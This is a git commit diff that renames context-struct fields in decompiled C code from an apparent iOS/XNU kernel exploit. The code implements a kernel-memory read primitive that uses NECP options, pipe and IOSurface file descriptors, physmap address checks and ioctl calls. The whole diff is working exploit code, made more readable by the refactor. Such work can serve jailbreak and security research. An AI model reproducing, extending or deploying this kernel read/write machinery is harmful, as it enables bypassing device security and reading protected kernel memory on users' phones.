Name dev-null KRW context fields

This commit is contained in:
khanhduytran0
2026-06-04 10:15:45 +07:00
parent 569fcea169
commit d7d89a9ee7
+22 -22
View File
@@ -431,7 +431,7 @@ __int64 __fastcall setup_krw_engine(struct_krwCtx *ctx);
__int64 __fastcall teardown_krw_thread(struct_krwCtx *ctx); __int64 __fastcall teardown_krw_thread(struct_krwCtx *ctx);
__int64 __fastcall get_page_size_for_kaddr(__int64); __int64 __fastcall get_page_size_for_kaddr(__int64);
bool __fastcall has_valid_krw_path(struct_krwCtx *ctx); bool __fastcall has_valid_krw_path(struct_krwCtx *ctx);
__int64 __fastcall kreadbuf_via_dev_null_only(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5); __int64 __fastcall kreadbuf_via_dev_null_only(struct_krwCtx *ctx, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5);
__int64 __fastcall necp_semaphore_kread(__int64 a1, __int64 a2, char *a3, mach_msg_type_number_t a4); __int64 __fastcall necp_semaphore_kread(__int64 a1, __int64 a2, char *a3, mach_msg_type_number_t a4);
__int64 __fastcall necp_fd_verify_roundtrip(__int64 a1, __int64 a2); __int64 __fastcall necp_fd_verify_roundtrip(__int64 a1, __int64 a2);
__int64 __fastcall pipe_krw_roundtrip_verify(__int64 a1); __int64 __fastcall pipe_krw_roundtrip_verify(__int64 a1);
@@ -25973,7 +25973,7 @@ bool __fastcall has_valid_krw_path(struct_krwCtx *ctx)
} }
//----- (0000000000025E54) ---------------------------------------------------- //----- (0000000000025E54) ----------------------------------------------------
__int64 __fastcall kreadbuf_via_dev_null_only(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5) __int64 __fastcall kreadbuf_via_dev_null_only(struct_krwCtx *ctx, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5)
{ {
__int64 v5; // x21 __int64 v5; // x21
__int64 test; // x26 __int64 test; // x26
@@ -26003,11 +26003,11 @@ __int64 __fastcall kreadbuf_via_dev_null_only(__int64 a1, unsigned __int64 a2, _
uint32_t __s1[42]; // [xsp+D0h] [xbp-110h] BYREF uint32_t __s1[42]; // [xsp+D0h] [xbp-110h] BYREF
v5 = 708609; v5 = 708609;
if ( *(uint32_t *)(a1 + 6448) == -1 if ( KRW_CTX_AT(ctx, uint32_t, KRW_CTX_PIPE_READ_FD_OFFSET) == -1
|| *(uint32_t *)(a1 + 6452) == -1 || KRW_CTX_AT(ctx, uint32_t, KRW_CTX_PIPE_WRITE_FD_OFFSET) == -1
|| *(uint32_t *)(a1 + 6464) == -1 || KRW_CTX_AT(ctx, uint32_t, KRW_CTX_IOSURFACE_FD_OFFSET) == -1
|| !*(uint64_t *)(a1 + 536) || !KRW_CTX_AT(ctx, uint64_t, KRW_CTX_NECP_TRIGGER_ADDR_OFFSET)
|| !check_kaddr_in_physmap((struct_krwCtx *)a1, a2) ) || !check_kaddr_in_physmap(ctx, a2) )
{ {
return v5; return v5;
} }
@@ -26017,20 +26017,20 @@ __int64 __fastcall kreadbuf_via_dev_null_only(__int64 a1, unsigned __int64 a2, _
test = fd_open_dev_null(&v34); test = fd_open_dev_null(&v34);
if ( (uint32_t)test ) if ( (uint32_t)test )
goto LABEL_67; goto LABEL_67;
test = fd_read_test((int *)(a1 + 6448)); test = fd_read_test(&KRW_CTX_AT(ctx, int, KRW_CTX_PIPE_READ_FD_OFFSET));
if ( (uint32_t)test ) if ( (uint32_t)test )
goto LABEL_67; goto LABEL_67;
} }
v31 = a5; v31 = a5;
v33 = (int *)(a1 + 6448); v33 = &KRW_CTX_AT(ctx, int, KRW_CTX_PIPE_READ_FD_OFFSET);
if ( *(uint64_t *)(a1 + 544) ) if ( KRW_CTX_AT(ctx, uint64_t, KRW_CTX_PPL_DATA_CONST_PTR_OFFSET) )
v12 = 8; v12 = 8;
else else
v12 = 4; v12 = 4;
if ( !a4 ) if ( !a4 )
{ {
LABEL_61: LABEL_61:
test = pipe_krw_roundtrip_verify(a1); test = pipe_krw_roundtrip_verify((__int64)ctx);
goto LABEL_66; goto LABEL_66;
} }
v13 = 0; v13 = 0;
@@ -26040,9 +26040,9 @@ LABEL_61:
v14 = v13; v14 = v13;
v15 = a2 + v13; v15 = a2 + v13;
v16 = a4 - v13; v16 = a4 - v13;
if ( (*(uint64_t *)(a1 + 392) & v15) != 0 || (unsigned int)v16 < 0x4000 || !krw_ctx_has_read_caps((struct_krwCtx *)a1) ) if ( (ctx->pageMask & v15) != 0 || (unsigned int)v16 < 0x4000 || !krw_ctx_has_read_caps(ctx) )
break; break;
v17 = *(uint64_t *)(a1 + 344); v17 = ctx->xnuVersionPacked;
if ( v17 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ) if ( v17 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
v18 = 0x4000; v18 = 0x4000;
else else
@@ -26053,7 +26053,7 @@ LABEL_61:
v19 = 528; v19 = 528;
if ( (unsigned int)v16 >= v19 ) if ( (unsigned int)v16 >= v19 )
LODWORD(v16) = v19; LODWORD(v16) = v19;
test = necp_semaphore_kread(a1, v15, (char *)(a3 + v14), v16); test = necp_semaphore_kread((__int64)ctx, v15, (char *)(a3 + v14), v16);
LABEL_54: LABEL_54:
if ( (uint32_t)test ) if ( (uint32_t)test )
goto LABEL_65; goto LABEL_65;
@@ -26066,18 +26066,18 @@ LABEL_54:
{ {
v20 = 0; v20 = 0;
} }
else if ( (((v15 - 1 + (unsigned int)v16) ^ (v15 - 1 + v12)) & ~*(uint64_t *)(a1 + 392)) == 0 ) else if ( (((v15 - 1 + (unsigned int)v16) ^ (v15 - 1 + v12)) & ~ctx->pageMask) == 0 )
{ {
v20 = 0; v20 = 0;
} }
v21 = v20; v21 = v20;
if ( !*(uint64_t *)(a1 + 544) ) if ( !KRW_CTX_AT(ctx, uint64_t, KRW_CTX_PPL_DATA_CONST_PTR_OFFSET) )
{ {
v23 = necp_fd_verify_roundtrip(a1, v15 - v20); v23 = necp_fd_verify_roundtrip((__int64)ctx, v15 - v20);
if ( (uint32_t)v23 ) if ( (uint32_t)v23 )
goto LABEL_63; goto LABEL_63;
errno = 0; errno = 0;
__s1[0] = fcntl(*(uint32_t *)(a1 + 6464), 5); __s1[0] = fcntl(KRW_CTX_AT(ctx, uint32_t, KRW_CTX_IOSURFACE_FD_OFFSET), 5);
if ( __s1[0] == -1 && errno ) if ( __s1[0] == -1 && errno )
{ {
v28 = errno; v28 = errno;
@@ -26097,13 +26097,13 @@ LABEL_54:
} }
goto LABEL_53; goto LABEL_53;
} }
if ( *v33 == -1 || *(uint32_t *)(a1 + 6452) == -1 || (v22 = *(uint64_t *)(a1 + 536)) == 0 ) if ( *v33 == -1 || KRW_CTX_AT(ctx, uint32_t, KRW_CTX_PIPE_WRITE_FD_OFFSET) == -1 || (v22 = KRW_CTX_AT(ctx, uint64_t, KRW_CTX_NECP_TRIGGER_ADDR_OFFSET)) == 0 )
{ {
test = 708609; test = 708609;
goto LABEL_65; goto LABEL_65;
} }
memset(__s1, 0, 160); memset(__s1, 0, 160);
init_necp_option_struct(a1, (__int64)__s1, v22, v15 - v20 - 72, 7); init_necp_option_struct((__int64)ctx, (__int64)__s1, v22, v15 - v20 - 72, 7);
v23 = fd_write((__int64)v33, __s1, 0xA0u); v23 = fd_write((__int64)v33, __s1, 0xA0u);
if ( (uint32_t)v23 || (v23 = fd_read(v33, __s2, 0xA0u), (uint32_t)v23) ) if ( (uint32_t)v23 || (v23 = fd_read(v33, __s2, 0xA0u), (uint32_t)v23) )
{ {
@@ -26113,7 +26113,7 @@ LABEL_63:
} }
if ( !memcmp(__s1, __s2, 0xA0u) ) if ( !memcmp(__s1, __s2, 0xA0u) )
{ {
if ( ioctl(*(uint32_t *)(a1 + 6464), 0x40087367u, __s1) ) if ( ioctl(KRW_CTX_AT(ctx, uint32_t, KRW_CTX_IOSURFACE_FD_OFFSET), 0x40087367u, __s1) )
{ {
v24 = errno; v24 = errno;
v25 = errno; v25 = errno;
@@ -26137,7 +26137,7 @@ LABEL_53:
} }
test = 708628; test = 708628;
LABEL_65: LABEL_65:
pipe_krw_roundtrip_verify(a1); pipe_krw_roundtrip_verify((__int64)ctx);
LABEL_66: LABEL_66:
if ( v31 ) if ( v31 )
LABEL_67: LABEL_67: